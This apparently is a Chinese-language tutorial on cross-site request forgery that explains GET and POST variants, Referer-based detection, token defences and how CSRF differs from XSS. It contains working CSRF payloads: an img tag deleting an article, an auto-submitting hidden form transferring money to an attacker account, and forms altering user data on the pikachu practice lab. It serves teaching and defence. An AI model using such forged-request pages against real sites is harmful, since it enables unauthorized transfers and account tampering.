CSRF(跨站请求伪造)基础

1. 什么是CSRF漏洞

  • CSRF,全程Cross-Site Request Forgery,中文常译为“跨站请求伪造”。它也被称为 “One-Click Attack”(一键攻击)或 “Session Riding”(会话骑乘)。

1.1 核心攻击思想

  • 攻击者欺骗用户的浏览器,使得受害者的浏览器在受害者不知情的情况下,以一个已经认证的身份(比如受害者已经登陆的状态)向目标网站发送一个恶意的请求(例如银行网站转账操作)。

2. CSRF漏洞和的产生原理

  • 下面这张图展示了CSRF的攻击过程。

1

  • 根据上面的图片,我们可以发现,要成功发起CSRF攻击,必须同时满足以下几个关键条件:

    1. 用户已经登录了目标网站,并且浏览器中保存了该网站的Cookie用于身份验证。
    2. 浏览器在向同一个域名发送请求时,会自动携带该域名下的所有相关Cookie(这是浏览器的同源策略,一般无法被网站禁止)。
    3. 目标网站对于敏感操作的请求(例如:修改密码、转账、发表评论),缺乏足够的安全措施来验证该请求是否确实时由用户资源发出的,仅仅只是通过Cookie来进行身份验证。
  • 通过上面的说明,我们可以发现CSRF其实可以理解为:攻击者到用被害者的身份,以被害者的身份发送恶意请求,但是目标网站又缺乏相关的身份验证,这导致服务器认为这次请求是完全合法的被害者自己的行为。

3. CSRF的分类

3.1 GET类型的CSRF

  • 仅仅需要一个HTTP请求就能构造一次简单的CSRF。

  • 描述:敏感操作(如修改、删除)被设计为通过GET请求完成。

  • 攻击方式:攻击者只需要构造一个URL,当用户(在已经登陆目标网站的情况下)访问这个URL时,攻击就会发生。通常通过imgscriptiframe等标签的src属性自动发起请求。

  • 攻击示例

    1. 假设一个博客网站删除文章的链接是:https://blog.com/delete-article?articleId=123

      • 则攻击者可以在自己的恶意页面中嵌入:
      1
      <img src="https://blog.com/delete-article?articleId=123" width="0" height="0" />
      • 这样当用户访问该页面时,标签自动执行就导致文章ID为123的文章被删除。
      • 也可以诱导用户点击类似的连接:
      1
      <a href="https://blog.com/delete-article?articleId=123">点击我领取大奖!</a>
    2. 这里我们通过pikachu靶场的相关板块来做一个例子:

      • 在登陆用户之后我们可以修改和提交用户信息,在这里BP抓包一下。

      2

      • 可以看到是GET提交的数据包/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=1111&add=USA&email=888888%40163.com&submit=submit也就是说我们可以直接通过伪造提交的数据包从而修改用户信息。

      • 既然如此我们可以构造这样的Payload:

        /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123113321&add=USA&email=888888%40163.com&submit=submit(注意这里我们修改了phonenum`的内容)

      • 构造好Payload之后我们模拟用户点击的过程,可以拟写一个简单的html。

      3

      • 之后模拟用户点击过程。

      4

      • 这时用户的资料信息已经被我们修改了,我们可以返回pikachu靶场刷新之后查看结果。

      5

  • 综上所述GET类型的CSRF的特点是:用户无需进行如点击按钮等额外的其他操作,只需要访问恶意页面或者点击恶意连接即可完成。

3.2 POST类型的CSRF

  • 在CSRF当中POST请求相较于GET请求是更常见的存在,因为现代Web开发规范要求修改数据的操作必须使用POST请求。

  • 描述:敏感操作通过POST请求完成,需要提交表单数据。

  • 攻击方式:攻击者需要构造一个隐藏的HTML表单,并通过JavaScript自动提交。这需要用户访问一个恶意页面,但用户无需点击表单提交按钮。

  • 攻击示例

    1. 这里我们构造一个简单的示例代码。进攻场景为用户登录了某家银行,之后访问了此恶意页面。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      <body>
      <!-- 页面加载后自动提交表单 -->
      <script>
      document.addEventListener('DOMContentLoaded', function() {
      document.forms['csrfForm'].submit();
      });
      </script>

      <form id="csrfForm" action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="toAccount" value="hacker_account">
      <input type="hidden" name="amount" value="10000">
      </form>
      </body>
      • 首先来看JS部分:

        1
        document.addEventListener('DOMContentLoaded', function() {
        • document:代表整个HTML文档的对象。
        • .addEventListener():添加事件监听器的方法。
        • 'DOMContentLoaded':事件类型,表示HTML文档已完全加载和解析完成。
        • function() {:定义匿名函数(回调函数),事件触发时执行。
        • 整体作用就是为文档添加一个事件监听,当DOM加载完成之后执行指定函数。
        1
        document.forms['csrfForm'].submit();
        • document.forms:文档中所有表单的集合。
        • ['csrfForm']:通过name或id为"csrfForm"获取特定表单。
        • .submit():调用表单的提交方法。
        • 整体作用就是获取id为"csrfForm"的表单并自定提交。
      • 之后看表单内容

        1
        <form id="csrfForm" action="https://bank.com/transfer" method="POST">
        • id="csrfForm":表单的唯一标识符,JavaScript通过此id找到表单。
        • action="https://bank.com/transfer":表单提交的目标URL。
        • method="POST":使用POST方法提交(数据在请求体中,不在URL中显示)。
        1
        <input type="hidden" name="toAccount" value="hacker_account">
        • type="hidden":隐藏类型的输入字段,用户看不到。
        • name="toAccount":参数名称,服务器通过此名称获取值。
        • value="hacker_account":参数值,攻击者的账户。
        • 整体作用就是创建一个隐藏字段,包含攻击者的账户信息。
        1
        <input type="hidden" name="amount" value="10000">
        • type="hidden":同上,隐藏字段。
        • name="amount":参数名,表示金额。
        • value="10000":参数值,转账金额10000。
        • 整体作用就是创建第二个隐藏字段,包含转账金额。
    2. 我们还是同pikachu靶场来做一个简单的示例。

      • 首先我们构造一段这样的代码(具体的含义在示例1中已经详细的解释了)。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <!DOCTYPE html>
      <html lang="en">
      <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=a, initial-scale=1.0">
      <title>Document</title>
      </head>
      <body>
      <script>
      document.addEventListener('DOMContentLoaded', function() {
      document.forms['user'].submit();
      });
      </script>

      <form id="user" action="http://你的靶场本机IP/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy">
      <input type="hidden" name="phonenum" value="555555">
      <input type="hidden" name="add" value="LOL">
      <input type="hidden" name="email" value="abc@fox.com">
      </form>
      </body>
      </html>
      • 之后我们登录pikachu中的用户。

      6

      • 之后再访问我们创建好的恶意网站,再返回pikachu靶场刷新一下可以发现用户信息已经被改变了。

        7

4. CSRF漏洞挖掘

Referer字段

  • 关于CSRF漏洞有一个很重要的字段——“Referer”,它可以用来判断是否存在CSRF漏洞。
  • Referer是HTTP请求头的一个字段,用来表示当前请求来自哪个页面/URL,它是由浏览器自动添加的通常不可以被JS直接修改。
  • Referer的主要作用有分析流量来源、防止图片或资源被外部网站直接引用等,但是根据上述的作用可以发现,他是用来防御CSRF漏洞的一个重要手段。
  • 通过上面的论述我们就可以发现,判断是否存在CSRF的最简单的方式就是抓取一个数据包,然后观察是否出现了Referer字段,如果没有那说么可能存在CSRF漏洞。
  • 如果抓取的数据包中包含Referer字段,我们可以尝试去掉Referer字段之后重新提交,如果数据包仍然有效,CSRF也很有可能存在。

5. CSRF漏洞防御

  • 防御CSRF漏洞的核心思想就是增加一个攻击者无法预测、无法伪造的额外验证信息。这个信息不能通过浏览器自动发送的机制来传递(比如说Cookie)。

5.1 使用CSRF Tokens

  • 这是最常用最有效的CSRF漏洞防御方法,也是业界标准的防御方案。
  • 原理:
    1. 服务器会在用户会话中生成一个随机的、不可预测的令牌,也就是Token。
    2. 在渲染表单页面时,将这个Token作为一个隐藏的字段插入到表单当中去。
    3. 当用户提交表单请求时,这个Token会随机请求一起发送到服务器。
    4. 服务器收到请求之后,对比请求中的Token和会话中储存的Token是否一致。
  • 攻击者构造的恶意请求无法知道这个Token的值(因为受到了同源策略的保护),因此他发出的请求中无法包含正确的Token,所以服务器会拒绝执行。

5.2 验证 RefererOriginHeader

  • 原理:检查HTTP请求头中的Referer(来源页面)或者Origin(请求来源)字段,确保请求来自同一个域下的合法页面。
  • 优点:实现简单。
  • 缺点
    • 某些浏览器出于隐私考虑,可能不会发送 Referer
    • 用户可以配置浏览器禁用 Referer
    • 可能存在被绕过的方法(如某些旧版本浏览器的漏洞)。
  • 通常作为辅助防御手段,不应作为唯一手段。

6. CSRF 与 XSS 的区别

特性 CSRF(跨站请求伪造) XSS(跨站脚本攻击)
攻击目标 利用用户的登录状态,以用户的身份执行操作。 窃取用户的登录状态(Cookie)或其他敏感数据。
信任关系 利用网站对用户浏览器的信任(“这个请求带着正确的Cookie,所以是用户本人”)。 利用用户对网站内容的信任(“这个页面是合法的,所以会执行里面的脚本”)。
攻击方式 诱使用户访问恶意第三方网站,由该网站向目标网站发出请求。 将恶意脚本注入到目标网站本身,当用户访问目标网站时执行。
所需条件 用户必须已登录目标网站。 目标网站存在可被注入恶意脚本的漏洞。

简单说:XSS 是让用户在目标网站上执行攻击者的代码;CSRF 是让用户在攻击者的网站上向目标网站发出请求。